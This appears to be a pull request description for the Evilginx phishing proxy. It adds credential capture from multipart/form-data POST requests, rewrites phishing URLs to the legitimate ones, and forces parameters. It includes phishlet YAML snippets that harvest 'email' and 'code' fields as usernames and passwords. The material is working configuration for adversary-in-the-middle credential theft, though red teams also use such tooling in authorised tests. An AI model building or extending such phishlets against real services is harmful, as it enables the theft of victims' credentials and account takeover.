Capture credentials in multipart/form-data

This PR adds support to :

• Capture credentials in multipart POST requests (with type: 'post/multipart' in credentials section)

• Fix: Prevent conflicts between captured credentials of different types with the same name (matching the same regex/key)

• Patch URL (from phishing to original)

• Force parameters (with type: 'post/multipart' in force_post section)

• Proxy incoming files (if any, even though it may not be useful in proxying login requests)

Capture creds:

Phishlet section:

credentials:
  username:
    key: 'email'
    search: '(.*)'
    type: 'post/multipart'
  password:
    key: 'code'
    search: '(.*)'
    type: 'post/multipart'

Request:

Evilginx:

NB: As said above, incoming phishing URLs will be converted to original/legitimate ones similarly to what is done for regular POST requests (application/x-www-form-urlencoded). Files (if any) are also proxied. The resulting Content-Length is computed by creating a new multipart body (with the same boundary).

Force parameters:

Phishlet section:

force_post:
   - path: '/api/signup.checkEmail'
     search:
     - {key: 'email', search: '.*'}
     force:
       - {key: 'email', value: '[email protected]'}
     type: 'post/multipart'

Incoming request (sent by the browser to Evilginx through Burp):

Outgoing request (sent by Evilginx to the original site through Burp):

NB: Parameter names for files can be used as search key but the value will be ignored.